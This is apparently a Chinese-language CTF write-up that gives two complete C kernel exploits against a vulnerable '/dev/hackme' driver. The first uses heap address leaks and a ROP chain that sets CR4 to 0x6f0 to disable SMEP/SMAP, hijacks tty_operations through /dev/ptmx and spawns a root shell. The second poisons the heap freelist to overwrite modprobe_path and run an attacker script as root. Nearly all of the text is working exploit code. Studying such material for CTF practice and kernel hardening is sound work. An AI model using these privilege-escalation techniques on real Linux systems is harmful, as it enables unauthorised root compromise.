kernel heap bypass smep,smap && 劫持modprobe_path

kernel heap bypass smep,smap && 劫持modprobe_path

exp1

smep:smep即用户数据不可执行，当 CPU 处于 ring0 模式时，执行用户空间的代码会触发页错误，系统根据CR4寄存器的第20位判断内核是否开启smep，为1时开启，为0时关闭（第21位是SMAP位）。

smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};

int fd;

struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};

void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}

void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}

void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}

void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}

void get_shell()
{
	if (getuid() == 0)
	{
		puts("[*] get root");
		system("/bin/sh");
	}
	else
	{
		puts("[-] get root error");
		sleep(3);
		exit(0);
	}
}

void get_root()
{
	//commit_creds(prepare_kernel_cred(0))
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}

int main()
{
	save_status();

	char buf[0x1000] = {0};
	size_t fake_tty_struct[4] = {0};
	size_t fake_tty_operations[35] = {0};

	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		sleep(3);
		exit(0);
	}

	add(0, 0x2e0, buf); // 0
	add(1, 0x2e0, buf); // 1
	add(2, 0x100, buf); // 2
	add(3, 0x100, buf); // 3
	delete(0);
	delete(2);

	show(3, 0x100, -0x100, buf);
	size_t heap_addr = ((size_t *)buf)[0] - 0x200;
	printf("[+] heap_addr=> 0x%lx\n", heap_addr);

	int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
	if(fd_tty < 0)
	{
		puts("[-] open ptmx error");
		sleep(3);
		exit(0);
	}

	show(1, 0x400, -0x400, buf);
	vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;

	int i = 0;
	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
	rop[i++] = 0x6f0;
	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = 0;
	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	add(2, 0x100, (char *)rop);

	fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;

	fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
	fake_tty_operations[1] = heap_addr;

	((size_t *)buf)[3] = heap_addr + 0x100;

	delete(3);
	add(3, 0x100, (char *)fake_tty_operations);

	edit(1, 0x400, -0x400, buf);

	write(fd_tty, "FXC", 3);
	return 0;
}

exp2

mod_tree：可以泄露驱动地址，当堆栈中找不到时可以来这里查找。

modprobe_path：当我们执行一个非法文件时，就会以root权限去执行modprobe_path所指向的文件，通常是指向/sbin/modprobe，如果改成我们创建的cat flag的文件，那么就可以拿到flag

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;

struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};

void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}

void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}

void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}

void get_flag()
{
	puts("[+] Prepare shell file.");
	system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
	system("chmod +x /shell.sh");

	puts("[+] Prepare trigger file.");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
	system("chmod +x /FXC");

	system("cat /proc/sys/kernel/modprobe");
	system("/FXC");
	system("cat /flag");

	sleep(5);
}

int main()
{
	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		sleep(3);
		exit(0);
	}

	char buf[0x1000] = {0};

	add(0, 0x100, buf); // 0
	add(1, 0x100, buf); // 1
	add(2, 0x100, buf); // 2
	add(3, 0x100, buf); // 3
	add(4, 0x100, buf); // 4

	delete(1);
	delete(3);

	show(4, 0x100, -0x100, buf);
	heap_base = ((size_t *)buf)[0] - 0x100;
	printf("[+] heap_addr=> 0x%lx\n", heap_base);

	show(0, 0x200, -0x200, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	mod_tree = vmlinux_base + 0x811000;
	modprobe_path = vmlinux_base + 0x83f960;

	memset(buf,'\x00',0x100);
	((size_t  *)buf)[0] = mod_tree + 0x40;
	edit(4, 0x100, -0x100, buf);

	add(5, 0x100, buf); // 5
	add(6, 0x100, buf); // 6

	show(6, 0x40, -0x40, buf);
	ko_base = ((size_t *)buf)[3];
	printf("[+] ko_base=> 0x%lx\n", ko_base);

	delete(2);
	delete(5);

	getchar();
	((size_t  *)buf)[0] = ko_base + 0x2400 + 0xc0;
	edit(4, 0x100, -0x100, buf);

	add(7, 0x100, buf); // 7
	add(8, 0x100, buf); // 8

	((size_t  *)buf)[0] = modprobe_path;
	((size_t  *)buf)[1] = 0x100;
	edit(8, 0x10, 0, buf);

	strncpy(buf, "/shell.sh\x00", 0xa);
	edit(12, 0xa, 0, buf);

	get_flag();
	return 0;
}